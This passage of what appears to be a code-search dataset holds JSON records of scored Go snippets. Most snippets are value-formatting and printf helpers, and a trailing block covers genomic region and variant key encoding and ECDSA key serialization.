node.Placement.ExistingVal)\n\t}\n}", "title": "" }, { "docid": "18d1b61e7c9d61e1119262e6ae8c7367", "score": "0.5443997", "text": "func TestFormatValueAlignsValues(t *testing.T) {\n\tv := struct {\n\t\ta int\n\t\tbbbbbbbbbb int\n\t}{\n\t\ta: 1,\n\t\tbbbbbbbbbb: 2,\n\t}\n\ts := prettyprint.FormatValue(v)\n\n\tlines := strings.Split(s, \"\\n\")\n\tif l := lines[1]; l != \"\\ta: 1,\" {\n\t\tt.Fatalf(\"\\nunexpected line 1: |%v|\", l)\n\t}\n\tif l := lines[2]; l != \"\\tbbbbbbbbbb: 2,\" {\n\t\tt.Fatalf(\"\\nunexpected line 2: |%v|\", l)\n\t}\n}", "title": "" }, { "docid": "5f2ac02770de646c921ff0b3a4f4b5ac", "score": "0.5440796", "text": "func (t *GenericTuple) Format(f fmt.State, verb rune) {\n\tfu.WriteString(f, \"(\")\n\tfor i, name := range TupleOrderedNames(t) {\n\t\twriteSep(f, i, \", \")\n\t\tfu.WriteString(f, TupleNameRepr(name))\n\t\tfu.WriteString(f, \": \")\n\t\tfu.Fprintf(f, \"%v\", t.MustGet(name))\n\t}\n\tfu.WriteString(f, \")\")\n}", "title": "" }, { "docid": "1c6ef205e4a8bc65a3cf6e9074e4ce4c", "score": "0.5431872", "text": "func (rb *FieldAndFormatBuilder) Format(format string) *FieldAndFormatBuilder {\n\trb.v.Format = &format\n\treturn rb\n}", "title": "" }, { "docid": "55447f588fc40ff7ff0fbcb9347ec3b8", "score": "0.54286915", "text": "func Format(s *symbols.SymbolTable, args []interface{}) (interface{}, error) {\n\n\tif len(args) == 0 {\n\t\treturn \"\", nil\n\t}\n\n\tif len(args) == 1 {\n\t\treturn util.GetString(args[0]), nil\n\t}\n\n\treturn fmt.Sprintf(util.GetString(args[0]), args[1:]...), nil\n}", "title": "" }, { "docid": "d00ca7d316091c31a2f941cc25723e39", "score": "0.54092586", "text": "func FormatMessage(args ...interface{}) string { return formatMessage(sprintlnType, true, args...) }", "title": "" }, { "docid": "77bf1b364f6e9ad574a86fe900ec7a3d", "score": "0.54089683", "text": "func Format() error {\n\tif err := sh.RunV(\"gofmt\", \"-w\", \".\"); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "c93df598bd507d2b034dba91ab6170c7", "score": "0.5408772", "text": "func (p *param) paramFormat() []string {\n\tvar parameters []string\n\tparameters = append(parameters, \"Parameters\")\n\tgcmin := \"Minimum GC content = \" + strconv.Itoa(p.GCmin)\n\tparameters = append(parameters, gcmin)\n\tgcmax := \"Maximum GC content = \" + strconv.Itoa(p.GCmax)\n\tparameters = append(parameters, gcmax)\n\thairpin := \"Number of bases for secondary structure = \" + strconv.Itoa(p.hairpin)\n\tparameters = append(parameters, hairpin)\n\tupstream := \"Position at which mismatch is allowed = \" + strconv.Itoa(p.upstream)\n\tparameters = append(parameters, upstream)\n\tcontU := \"maximum number of continuous U's allowed = \" + strconv.Itoa(p.contU)\n\tparameters = append(parameters, contU)\n\taddtlG := \"Additional G's after PAM site allowed? = \" + strconv.FormatBool(p.addtlG)\n\tparameters = append(parameters, addtlG)\n\tparameters = append(parameters, \"\")\n\tparameters = append(parameters, \"*****************************\")\n\tparameters = append(parameters, \"\")\n\treturn parameters\n}", "title": "" }, { "docid": "367259c70a2343f60db0fb38301a6368", "score": "0.5404796", "text": "func main() {\n\tfmt.Println(\"Git setup\")\n\tLname:=\"Yadav\"\n\tfmt.Println(Fname,\"+\",Lname)\n\n\t//type of vatiables\n\tfmt.Println(\"%T\",Lname);\n\n\t//using `` we van print even space between then as we have given\n\n\t//fmt.Println() can have n number of paramerter that we can print\n\tfmt.Println(quote,\"--\",sayGreet)\n\tfmt.Println(`Hello \n\n\t\tjustin, lets start.\n\t\t`)\n\n}", "title": "" }, { "docid": "05afb2cf9e0213718980b8bab83537c3", "score": "0.5396965", "text": "func (g *OSRuntimeInfoGetter) Format(pattern string, args ...interface{}) string {\n\tinfo := g.Get()\n\treturn info.Format(pattern, args...)\n}", "title": "" }, { "docid": "65e43f612654710d2d765d730c83c2e2", "score": "0.5386787", "text": "func (this *Schedule) Printf(format string, v ...interface{}) {\n\n\tif this.builder != nil && !strings.HasPrefix(format, \" \") {\n\t\tthis.logger.Info(this.builder.String(), this.fields...)\n\n\t\tthis.builder = nil\n\t\tthis.fields = nil\n\t}\n\n\tif this.builder == nil {\n\t\tthis.builder = &strings.Builder{}\n\t}\n\n\tif strings.HasPrefix(format, \" \") {\n\t\tsplits := strings.Split(strings.Replace(format, \" \", \"\", -1), \":\")\n\t\tthis.fields = append(this.fields, zap.Any(splits[0], v[0]))\n\t} else {\n\t\tthis.fields = append(this.fields, zap.String(\"role\", \"metrics\"), zap.String(\"type\", strings.Split(format, \" \")[0]))\n\t\tthis.builder.WriteString(fmt.Sprintf(strings.TrimSpace(format), v...))\n\t}\n}", "title": "" }, { "docid": "c6b3844311af0d1c90ec4f17d38c1df9", "score": "0.5383591", "text": "func formatAtom(v reflect.Value) string {\n\tswitch v.Kind() {\n\tcase reflect.Invalid:\n\t\treturn \"invalid\"\n\tcase reflect.Int, reflect.Int8, reflect.Int16,\n\t\treflect.Int32, reflect.Int64:\n\t\treturn strconv.FormatInt(v.Int(), 10)\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16,\n\t\treflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\treturn strconv.FormatUint(v.Uint(), 10)\n\tcase reflect.Float32, reflect.Float64:\n\t\treturn strconv.FormatFloat(v.Float(), 'f', -1, 64)\n\t// case reflect.Complex64, reflect.Complex128:\n\t// \treturn strconv.FormatComplex(v.Complex(), 'f', -1, 128)\n\tcase reflect.Bool:\n\t\treturn strconv.FormatBool(v.Bool())\n\tcase reflect.String:\n\t\treturn strconv.Quote(v.String())\n\tcase reflect.Chan, reflect.Func, reflect.Ptr, reflect.Slice, reflect.Map:\n\t\treturn v.Type().String() + \" 0x\" +\n\t\t\tstrconv.FormatUint(uint64(v.Pointer()), 16)\n\tdefault: // reflect.Array, reflect.Struct, reflect.Interface\n\t\treturn v.Type().String() + \" value\"\n\t}\n}", "title": "" }, { "docid": "aa7027ff20d2085a02acd4dc027a1d61", "score": "0.5380184", "text": "func getTypeFormat(t reflect.Type) (result string) {\n\tresult, ok := kindFormatters[t.Kind()]\n\tif !ok {\n\t\tresult = \"%s\"\n\t}\n\treturn result\n}", "title": "" }, { "docid": "7e2e3a391f2210efd600308e562d3b50", "score": "0.5378168", "text": "func formatLogfmtValue(value interface{}) string {\n\tvar buf = make([]byte, 0, 32)\n\tbuf = appendVal(buf, value)\n\treturn string(buf)\n}", "title": "" }, { "docid": "ba3d76e5af198997dc55fd044193b3d5", "score": "0.5368597", "text": "func (h Address) Format(s fmt.State, c rune) {\n\tfmt.Fprintf(s, \"%\"+string(c), h.Bytes)\n}", "title": "" }, { "docid": "7d0e677a1a20ce70237f3c18d35ca6b6", "score": "0.5351937", "text": "func (l *Logger) E提示自定义(format string, v ...interface{}) {\n\tif l.checkLevel(LEVEL_NOTI) {\n\t\tl.printStd(l.getLevelPrefixWithBrackets(LEVEL_NOTI), l.format(format, v...))\n\t}\n}", "title": "" }, { "docid": "2bc9dba7e6e56a3501c1081b1f582a30", "score": "0.5349016", "text": "func Outf(format string, v ...interface{}) {\n\tdefaultMLog.Outf(format, v...)\n}", "title": "" }, { "docid": "b83f2b4978cdc9fca1780fc943447823", "score": "0.5343947", "text": "func formatAtom(v reflect.Value) string {\n\tswitch v.Kind() {\n\tcase reflect.Invalid:\n\t\treturn \"invalid\"\n\tcase reflect.Int, reflect.Int8, reflect.Int16,\n\t\treflect.Int32, reflect.Int64:\n\t\treturn strconv.FormatInt(v.Int(), 10)\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16,\n\t\treflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\treturn strconv.FormatUint(v.Uint(), 10)\n\t\t// ...floating-point and complex cases omitted for brevity...\n\tcase reflect.Bool:\n\t\treturn strconv.FormatBool(v.Bool())\n\tcase reflect.String:\n\t\treturn strconv.Quote(v.String())\n\tcase reflect.Chan, reflect.Func, reflect.Ptr, reflect.Slice, reflect.Map:\n\t\treturn v.Type().String() + \" 0x\" +\n\t\t\tstrconv.FormatUint(uint64(v.Pointer()), 16)\n\tdefault: // reflect.Array, reflect.Struct, reflect.Interface\n\t\treturn v.Type().String() + \" value\"\n\t}\n}", "title": "" }, { "docid": "61f796470b2b7899b04aa0ccfdabbb44", "score": "0.5335318", "text": "func (t token) formatColor() string {\n\ttext := t.text\n\tif t.typ == typEquals {\n\t\ttext = \" \" + text + \" \"\n\t}\n\tfn, ok := sprintFns[t.typ]\n\tif ok {\n\t\treturn fn(text)\n\t}\n\treturn text\n\n}", "title": "" }, { "docid": "9b448e3fc9b346c0b45ae484f826d36a", "score": "0.53328174", "text": "func Pformat(value interface{}) (string, error) {\n\tif s, ok := value.(string); ok {\n\t\treturn s, nil\n\t}\n\tvalueJson, err := json.MarshalIndent(value, \"\", \" \")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(valueJson), nil\n}", "title": "" }, { "docid": "81f7370a1e866895c3725e9503b9bb1f", "score": "0.5332699", "text": "func genPsFormat(format string, quiet, size, namespace bool) string {\n\tif format != \"\" {\n\t\t// \"\\t\" from the command line is not being recognized as a tab\n\t\t// replacing the string \"\\t\" to a tab character if the user passes in \"\\t\"\n\t\treturn strings.Replace(format, `\\t`, \"\\t\", -1)\n\t}\n\tif quiet {\n\t\treturn formats.IDString\n\t}\n\tif namespace {\n\t\treturn \"table {{.ID}}\\t{{.Names}}\\t{{.PID}}\\t{{.Cgroup}}\\t{{.IPC}}\\t{{.MNT}}\\t{{.NET}}\\t{{.PIDNS}}\\t{{.User}}\\t{{.UTS}}\\t\"\n\t}\n\tformat = \"table {{.ID}}\\t{{.Image}}\\t{{.Command}}\\t{{.Created}}\\t{{.Status}}\\t{{.Ports}}\\t{{.Names}}\\t\"\n\tif size {\n\t\tformat += \"{{.Size}}\\t\"\n\t}\n\treturn format\n}", "title": "" }, { "docid": "041f8efefcd05194597c882a6908970c", "score": "0.53302217", "text": "func formatAtom(v reflect.Value) string {\n\tswitch v.Kind() {\n\tcase reflect.Invalid:\n\t\treturn \"invalid\"\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\treturn strconv.FormatInt(v.Int(), 10)\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\treturn strconv.FormatUint(v.Uint(), 10)\n\tcase reflect.Float32, reflect.Float64:\n\t\treturn strconv.FormatFloat(v.Float(), 'e', -1, 64)\n\tcase reflect.Complex64, reflect.Complex128:\n\t\treturn strconv.FormatFloat(real(v.Complex()), 'e', -1, 64) + \"i\" + strconv.FormatFloat(imag(v.Complex()), 'e', -1, 64)\n\tcase reflect.Bool:\n\t\treturn strconv.FormatBool(v.Bool())\n\tcase reflect.String:\n\t\treturn strconv.Quote(v.String())\n\tcase reflect.Chan, reflect.Func, reflect.Ptr, reflect.Slice, reflect.Map:\n\t\treturn v.Type().String() + \"0x\" + strconv.FormatUint(uint64(v.Pointer()), 16)\n\tdefault:\n\t\treturn v.Type().String() + \" value\"\n\t}\n}", "title": "" }, { "docid": "8950d98497e86ac029dc8eadcb452e84", "score": "0.532789", "text": "func (d StringSlice) Format(state fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\tfallthrough\n\tcase 'v':\n\t\tswitch {\n\t\tcase state.Flag('+'):\n\t\t\td.formatBullet(state, verb)\n\t\tcase state.Flag('#'):\n\t\t\tfmt.Fprintf(state, \"%#v\", []string(d))\n\t\tdefault:\n\t\t\td.formatSlice(state, verb)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "fb52b3e5821fa161fe1a1a900ac90316", "score": "0.5322656", "text": "func printt(v interface{}) string {\n\tswitch obj := v.(type) {\n\tcase string:\n\t\treturn fmt.Sprintf(\"%q\", obj)\n\tcase []string:\n\t\tif len(obj) == 0 {\n\t\t\treturn \"[]\"\n\t\t}\n\n\t\tvar buf bytes.Buffer\n\t\tbuf.WriteRune('[')\n\t\tfor _, k := range obj[:len(obj)-1] {\n\t\t\tbuf.WriteString(fmt.Sprintf(\"%q\", k))\n\t\t\tbuf.WriteString(\", \")\n\t\t}\n\t\tbuf.WriteString(fmt.Sprintf(\"%q\", obj[len(obj)-1]))\n\t\tbuf.WriteRune(']')\n\t\treturn buf.String()\n\tdefault: // floats, ints, bools\n\t\treturn fmt.Sprintf(\"%v\", obj)\n\t}\n}", "title": "" }, { "docid": "f7d35a6865b6abbc4335a2b8f7bd9803", "score": "0.53142273", "text": "func (t Types) Examples() {\n\tfmt.Printf(\"Type: %T Value: %v\\n\", ToBe, ToBe)\n\tfmt.Printf(\"Type: %T Value: %v\\n\", MaxInt, MaxInt)\n\tfmt.Printf(\"Type: %T Value: %v\\n\", z, z)\n}", "title": "" }, { "docid": "5281ab9c7787ec8770e30fab7afb5075", "score": "0.530781", "text": "func (f Frame) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\tswitch {\n\t\tcase s.Flag('+'):\n\t\t\tio.WriteString(s, f.name())\n\t\t\tio.WriteString(s, \"\\n\\t\")\n\t\t\tio.WriteString(s, f.file())\n\t\tdefault:\n\t\t\tio.WriteString(s, path.Base(f.file()))\n\t\t}\n\tcase 'd':\n\t\tio.WriteString(s, strconv.Itoa(f.line()))\n\tcase 'n':\n\t\tio.WriteString(s, funcname(f.name()))\n\tcase 'v':\n\t\tf.Format(s, 's')\n\t\tio.WriteString(s, \":\")\n\t\tf.Format(s, 'd')\n\t}\n}", "title": "" }, { "docid": "9f573afea88484a3688b0d3d7b2cfbed", "score": "0.5302541", "text": "func (f *formatter) checkPrintf(call *ast.CallExpr, name string,\n\tformatIndex int) {\n\tn := len(call.Args)\n\tif formatIndex >= n {\n\t\tf.setError(\"too few arguments in call to\", name)\n\t\treturn\n\t}\n\targ := call.Args[formatIndex]\n\tlit := f.pkg.Info.Types[arg].Value\n\tif lit == nil {\n\t\t// allow non-constant format by filename\n\t\tif !f.formatVar {\n\t\t\t// same warning as eg \"go tool vet -v planets.go\"\n\t\t\tsrc, _ := str(f.pkg.Fset, arg)\n\t\t\tf.setError(\"%s: can't check non-constant format %q in call to %s.\",\n\t\t\t\tf.pkg.Fset.Position(arg.Pos()), src, name)\n\t\t}\n\t\treturn\n\t}\n\tif lit.Kind() != exact.String {\n\t\tf.setError(\"Format is not string\", call.Args[formatIndex])\n\t\treturn\n\t}\n\tformat := exact.StringVal(lit)\n\t// Arguments are immediately after format string.\n\tfirstArg := formatIndex + 1\n\tif !strings.Contains(format, \"%\") {\n\t\tif n > firstArg {\n\t\t\tf.setError(\"no formatting directive in %s call\", name)\n\t\t}\n\t\treturn\n\t}\n\tverbs := verbRe.FindAllStringIndex(format, -1)\n\targNum := firstArg + len(verbs)\n\tif argNum != n {\n\t\texpect := argNum - firstArg\n\t\tnumArgs := n - firstArg\n\t\tf.setError(\"wrong number of args for format in %s call: \"+\n\t\t\t\"%d needed but %d args\", name, expect, numArgs)\n\t\treturn\n\t}\n\targs := call.Args[:firstArg]\n\tfor i, vIndex := range verbs {\n\t\tstart := vIndex[0]\n\t\tend := vIndex[1]\n\t\tverb := format[start:end]\n\t\targ := call.Args[firstArg+i]\n\t\tformatRune := verb[len(verb)-1]\n\t\tif formatRune != f.fromRune {\n\t\t\targs = append(args, arg)\n\t\t\tcontinue\n\t\t}\n\t\targType := f.pkg.Info.TypeOf(arg)\n\t\tif argType == nil {\n\t\t\t// unknown type, keep as it is\n\t\t\targs = append(args, arg)\n\t\t\tcontinue\n\t\t}\n\t\targType = argType.Underlying()\n\t\targTypeStr := argType.String()\n\t\targRune, ok := verbRune[argTypeStr]\n\t\tif !ok {\n\t\t\tf.setError(\"No rune for type %q %q\", argTypeStr)\n\t\t\treturn\n\t\t}\n\t\tif formatRune == argRune {\n\t\t\targs = append(args, arg)\n\t\t\tcontinue\n\t\t}\n\t\tif f.formatFunc == \"\" {\n\t\t\t// only replace verb rune (eg %d -> %f)\n\t\t\t// leave arg untouched\n\t\t\tformat = format[:end-1] + string(argRune) + format[end:]\n\t\t\targs = append(args, arg)\n\t\t} else {\n\t\t\t// replace whole verb with %s\n\t\t\t// replace arg with formatFunc(arg)\n\t\t\tformat = format[:start] + \"%s\" + format[end:]\n\t\t\targs = append(args, &ast.CallExpr{\n\t\t\t\tFun: &ast.Ident{Name: f.formatFunc},\n\t\t\t\tArgs: []ast.Expr{arg},\n\t\t\t})\n\t\t}\n\t}\n\tcall.Args = args\n\tcall.Args[formatIndex] = &ast.BasicLit{\n\t\tKind: token.STRING, Value: fmt.Sprintf(\"%q\", format)}\n}", "title": "" }, { "docid": "a89cb6b3899ab9988788f1468dcbec57", "score": "0.52904785", "text": "func (ef *fmter) Format(s fmt.State, verb rune) {\n\tvar buf bytes.Buffer\n\tbuf.WriteString(\"hello\\nworld\")\n\t_, _ = buf.WriteTo(s)\n}", "title": "" }, { "docid": "a06710c0a875a8d18c99f27768883b71", "score": "0.5283003", "text": "func describe(i interface{}) {\n\tfmt.Printf(\"(%v, %T)\\n\", i, i)\n}", "title": "" }, { "docid": "9633a6bb2b17cd7c7d1b6bb533a122c2", "score": "0.52740616", "text": "func (h StdHelp) printOptValNote(w io.Writer) {\n\tfmt.Fprint(w, \"\\n\"+equals+\"\\n\\n\")\n\n\tpfx := \"Note: \"\n\tformatPrefixedText(w, pfx,\n\t\t\"Optional values (those with a parameter name followed by [=...])\"+\n\t\t\t\" must be given with the parameter,\"+\n\t\t\t\" after an '=' rather than as a following argument.\"+\n\t\t\t\" For instance,\",\n\t\t0)\n\tformatText(w, \"\\n-xxx=...\\nrather than\\n-xxx ...\",\n\t\tlen(pfx), len(pfx))\n}", "title": "" }, { "docid": "1a08eb398e4be86ad5f96b79837ed357", "score": "0.5273961", "text": "func fieldHelp(name string, arg markers.Argument, first bool, out *strings.Builder) {\n\tif arg.Optional {\n\t\tout.WriteString(\"[\")\n\t}\n\n\tif !first {\n\t\tout.WriteRune(',')\n\t} else if name != \"\" {\n\t\tout.WriteRune(':')\n\t}\n\n\tif name != \"\" {\n\t\tout.WriteString(name)\n\t}\n\tout.WriteRune('=')\n\n\tout.WriteRune('<')\n\tout.WriteString(arg.TypeString())\n\tout.WriteRune('>')\n\n\tif arg.Optional {\n\t\tout.WriteString(\"]\")\n\t}\n}", "title": "" }, { "docid": "0e5d1fb41f30ed71182313c4b53eac0d", "score": "0.52726984", "text": "func (v ProgressToken) Format(f fmt.State, r rune) {\n\tconst numF = `%d`\n\tstrF := `%s`\n\tif r == 'q' {\n\t\tstrF = `%q`\n\t}\n\n\tswitch {\n\tcase v.name != \"\":\n\t\tfmt.Fprintf(f, strF, v.name)\n\tdefault:\n\t\tfmt.Fprintf(f, numF, v.number)\n\t}\n}", "title": "" }, { "docid": "c2d14f01a25f3e42c23eac227fffe5f0", "score": "0.52660275", "text": "func PrintHiBlue(format string, a ...interface{}) { fmt.Println(HiBlue(format, a...)) }", "title": "" }, { "docid": "a9cd15533c54e7034dfc40299cdc2b49", "score": "0.52636695", "text": "func Outf(format string, a ...interface{}) {\n\tfmt.Println(fmt.Sprintf(format, a...))\n}", "title": "" }, { "docid": "b5f07dfcbda5af5f654f2599861122fc", "score": "0.5258514", "text": "func (ca ConsAddress) Format(s fmt.State, verb rune) {\n\tswitch verb {\n\tcase 's':\n\t\ts.Write([]byte(ca.String()))\n\tcase 'p':\n\t\ts.Write([]byte(fmt.Sprintf(\"%p\", ca)))\n\tdefault:\n\t\ts.Write([]byte(fmt.Sprintf(\"%X\", []byte(ca))))\n\t}\n}", "title": "" }, { "docid": "c056bef844aa0281654c6e7790136d25", "score": "0.5258496", "text": "func PrintBlue(format string, a ...interface{}) { fmt.Println(Blue(format, a...)) }", "title": "" }, { "docid": "35208388f3df6943d2ee34b03d9e5ce1", "score": "0.5254376", "text": "func (d *Glossary) Describe(thing interface{}) (string, error) {\n\tdesc := d.describe(reflect.TypeOf(thing))\n\tvar buf strings.Builder\n\tenc := json.NewEncoder(&buf)\n\tenc.SetEscapeHTML(false)\n\tenc.SetIndent(\"\", \" \")\n\tif err := enc.Encode(desc); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn buf.String(), nil\n}", "title": "" }, { "docid": "dd59a5d39b2a2febc75dade983c824a0", "score": "0.52534914", "text": "func (attr attrStruct) print(w *tabwriter.Writer, verbose bool, indent int, highlighteds []string, after int) {\n\tdebug := false\n\n\tif debug {\n\t\tif value, err := attr.ParentID.Value(); err == nil && value != nil {\n\t\t\tfmt.Fprintf(w, \"%s:%d\\t\", \"ParentID\", value)\n\t\t} else {\n\t\t\tfmt.Fprintf(w, \"%s:%s\\t\", \"ParentID\", novalue)\n\t\t}\n\n\t\tif value, err := attr.Name.Value(); err == nil && value != nil {\n\t\t\tfmt.Fprintf(w, \"%s:%s\\t\", \"Name\", value)\n\t\t} else {\n\t\t\tfmt.Fprintf(w, \"%s:%s\\t\", \"Name\", novalue)\n\t\t}\n\n\t\tif value, err := attr.ValueText.Value(); err == nil && value != nil {\n\t\t\tfmt.Fprintf(w, \"%s:%s\\t\", \"ValueText\", value)\n\t\t} else {\n\t\t\tfmt.Fprintf(w, \"%s:%s\\t\", \"ValueText\", novalue)\n\t\t}\n\n\t\tif attr.ValueBlob != nil {\n\t\t\tfmt.Fprintf(w, \"%s:%d\\t\", \"ValueBlob-len\", len(attr.ValueBlob))\n\t\t} else {\n\t\t\tfmt.Fprintf(w, \"%s:%s\\t\", \"ValueBlob-len\", novalue)\n\t\t}\n\t} else {\n\t\t// Last modifier:\n\t\t//fmt.Fprintf(w, \"%s\\t\", prettyAttr(\"at\", attr.prettyAt()))\n\n\t\t// Name:\n\t\t//fmt.Fprintf(w, \"%s\\t\", prettyAttr(\"name\", attr.getName()))\n\n\t\t// Value:\n\t\t//fmt.Printf(strings.Repeat(\" \", indent))\n\n\t\tif attr.getMark() == 0 {\n\t\t\tfmt.Fprintf(out, \"%s: %s\\n\", color(attr.getIdentifier(), \"yellow+b\"), attr.title())\n\t\t} else {\n\t\t\tif isOutputColored() {\n\t\t\t\tfmt.Fprintf(out, \"%s: %s\\n\", color(attr.getIdentifier(), \"green\"), color(attr.title(), \"default\"))\n\t\t\t} else {\n\t\t\t\tfmt.Fprintf(out, \"[%s]: %s\\n\", attr.getIdentifier(), attr.title())\n\t\t\t}\n\n\t\t}\n\t\tif len(highlighteds) > 0 {\n\t\t\tfmt.Fprintln(out, attr.prettyMatches(highlighteds, after))\n\t\t}\n\t}\n}", "title": "" } ]
ed4555bcb9b100e1e70bbd463866b260
EncodeRegionKey returns a 64 bit regionkey
[ { "docid": "584764656d7b39de166ed6126b779809", "score": "0.7287656", "text": "func EncodeRegionKey(chrom uint8, startpos, endpos uint32, strand uint8) uint64 {\n\treturn uint64(C.encode_regionkey(C.uint8_t(chrom), C.uint32_t(startpos), C.uint32_t(endpos), C.uint8_t(strand)))\n}", "title": "" } ]
[ { "docid": "dc3a9fc4476a924b1137ba94dc2857ab", "score": "0.6664537", "text": "func RegionKey(chrom string, startpos, endpos uint32, strand int8) uint64 {\n\tbchrom := StringToNTBytes(chrom)\n\tpchrom := unsafe.Pointer(&bchrom[0]) // #nosec\n\treturn uint64(C.regionkey((*C.char)(pchrom), C.size_t(len(chrom)), C.uint32_t(startpos), C.uint32_t(endpos), C.int8_t(strand)))\n}", "title": "" }, { "docid": "24adc0b0fa284392a75235cdec681577", "score": "0.63518715", "text": "func ExtendRegionKey(rk uint64, size uint32) uint64 {\n\treturn uint64(C.extend_regionkey(C.uint64_t(rk), C.uint32_t(size)))\n}", "title": "" }, { "docid": "124ca3e4a947413ce867baccc3d19110", "score": "0.610786", "text": "func encodeKey(network net.IPNet) string {\n\treturn fmt.Sprintf(\n\t\tIPAMSubnetStorageKeyFormat,\n\t\tstrings.Replace(network.String(), \"/\", \"-\", -1),\n\t)\n}", "title": "" }, { "docid": "8de28ab46ecfff4803123c8fecd0b231", "score": "0.6095932", "text": "func EncodeVariantKey(chrom uint8, pos, refalt uint32) uint64 {\n\treturn uint64(C.encode_variantkey(C.uint8_t(chrom), C.uint32_t(pos), C.uint32_t(refalt)))\n}", "title": "" }, { "docid": "5cd2bcda3ff84c0f835749cb82c95a13", "score": "0.57099426", "text": "func EncodeKey(pk *[32]byte) string {\n\treturn base32.StdEncoding.EncodeToString(pk[:])\n}", "title": "" }, { "docid": "23a516a571b177cffb713d533cc37754", "score": "0.56496334", "text": "func DecodeRegionKey(rk uint64) TRegionKey {\n\tvar drk C.regionkey_t\n\tC.decode_regionkey(C.uint64_t(rk), &drk)\n\treturn castCRegionKey(drk)\n}", "title": "" }, { "docid": "5e67efb7760c97b95cb59ec109774f80", "score": "0.56398106", "text": "func (nr NRVKCols) VariantToRegionkey(vk uint64) uint64 {\n\treturn uint64(C.variantkey_to_regionkey(castGoNRVKColsToC(nr), C.uint64_t(vk)))\n}", "title": "" }, { "docid": "f9a93d35c5dc01e7987c89b3e787a87a", "score": "0.55797625", "text": "func keyToGOB64(k *key) (string, error) {\n\tb := bytes.Buffer{}\n\te := gob.NewEncoder(&b)\n\n\tif err := e.Encode(k); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn base64.StdEncoding.EncodeToString(b.Bytes()), nil\n}", "title": "" }, { "docid": "1e7a2f9049ca46c3c759a997c301bcfa", "score": "0.5557216", "text": "func (kv *DisKV) encodeKey(key string) string {\n\treturn base32.StdEncoding.EncodeToString([]byte(key))\n}", "title": "" }, { "docid": "d125ba4a4c8cf6dbdb16ba3890132b51", "score": "0.55562633", "text": "func ExtractRegionKeyStrand(rk uint64) uint8 {\n\treturn uint8(C.extract_regionkey_strand(C.uint64_t(rk)))\n}", "title": "" }, { "docid": "54fc42d97a4d3d52e035140c6cd6a1a0", "score": "0.55049866", "text": "func __b64encode(out *[]byte, src *[]byte, mode int)", "title": "" }, { "docid": "b98d340a2a02dfd5f86d21b73a23d5f5", "score": "0.54840755", "text": "func (t *TikvHandlerTool) GetRegionIDByKey(encodedKey []byte) (uint64, error) {\n\tkeyLocation, err := t.RegionCache.LocateKey(tikv.NewBackofferWithVars(context.Background(), 500, nil), encodedKey)\n\tif err != nil {\n\t\treturn 0, derr.ToTiDBErr(err)\n\t}\n\treturn keyLocation.Region.GetID(), nil\n}", "title": "" }, { "docid": "c42c706db969d4d36622b5b6d7ece340", "score": "0.5408399", "text": "func MyIdentityKey() []byte {\n\treturn identityKey.PublicKey.Serialize()\n}", "title": "" }, { "docid": "3bb5fabea457dcb54781c620e82841cd", "score": "0.5385598", "text": "func encodeRangeKey(keyType byte, ss ...[]byte) []byte {\n\toutput := buildRangeValue(2, ss...)\n\toutput[len(output)-2] = keyType\n\treturn output\n}", "title": "" }, { "docid": "419dae00531167e33492fc93b3765f69", "score": "0.5350003", "text": "func encode(k Key) ([]byte, error) {\n\tver := k.version()\n\tpsize := ver.PayloadSize()\n\ttsize := 1 + psize + 4\n\traw := k.raw()\n\tif len(raw) > psize {\n\t\treturn nil, errors.New(\"tbd\")\n\t}\n\ttmp := make([]byte, tsize)\n\ttmp[0] = byte(ver)\n\tcopy(tmp[len(tmp)-4-len(raw):], raw)\n\tsum := doublehash.SumDoubleSha256(tmp[:1+psize])\n\tcopy(tmp[1+psize:], sum[:4])\n\treturn rippleEncoding.Encode(tmp)\n}", "title": "" }, { "docid": "9d3a017e10733246da0621aef60a07ac", "score": "0.53116524", "text": "func (pubKey PubKeySecp256k1) KeyString() string {\n\treturn Fmt(\"%X\", pubKey[:])\n}", "title": "" }, { "docid": "d7ae537a090477f406cbae70463fea99", "score": "0.5287462", "text": "func int64Key(i int64) uint64 { return uint64(i) ^ 1<<63 }", "title": "" }, { "docid": "40eeccea1668f0066f8b11f66dbfcd8c", "score": "0.5272798", "text": "func EncodeKey(ultKey *ULTKey) string {\n\tvar buf bytes.Buffer\n\tbinary.Write(&buf, binary.BigEndian, ultKey)\n\treturn b58.Encode(buf.Bytes())\n}", "title": "" }, { "docid": "95f5f1b5639a1438e85d848c4b74af03", "score": "0.52686685", "text": "func encodeKeys(privateKeyRaw *ecdsa.PrivateKey, publicKeyRaw *ecdsa.PublicKey) (string, string) {\n\n\ts := \"START encodeKeys() - Encodes privateKeyRaw & publicKeyRaw to privateKeyHex & publicKeyHex\"\n\tlog.Debug(\"WALLET: GUTS \" + s)\n\n\tprivateKeyx509Encoded, _ := x509.MarshalECPrivateKey(privateKeyRaw)\n\tprivateKeyPEM := pem.EncodeToMemory(\n\t\t&pem.Block{\n\t\t\tType: \"PRIVATE KEY\",\n\t\t\tBytes: privateKeyx509Encoded,\n\t\t})\n\tprivateKeyHex := hex.EncodeToString(privateKeyPEM)\n\n\tpublicKeyx509Encoded, _ := x509.MarshalPKIXPublicKey(publicKeyRaw)\n\tpublicKeyPEM := pem.EncodeToMemory(\n\t\t&pem.Block{\n\t\t\tType: \"PUBLIC KEY\",\n\t\t\tBytes: publicKeyx509Encoded,\n\t\t})\n\tpublicKeyHex := hex.EncodeToString(publicKeyPEM)\n\n\ts = \"END encodeKeys() - Encodes privateKeyRaw & publicKeyRaw to privateKeyHex & publicKeyHex\"\n\tlog.Debug(\"WALLET: GUTS \" + s)\n\n\treturn privateKeyHex, publicKeyHex\n\n}", "title": "" }, { "docid": "2b0e9c3f0c73fa0573ab27ab5e3f8707", "score": "0.52528673", "text": "func EncodeRegionStrand(strand int8) uint8 {\n\treturn uint8(C.encode_region_strand(C.int8_t(strand)))\n}", "title": "" }, { "docid": 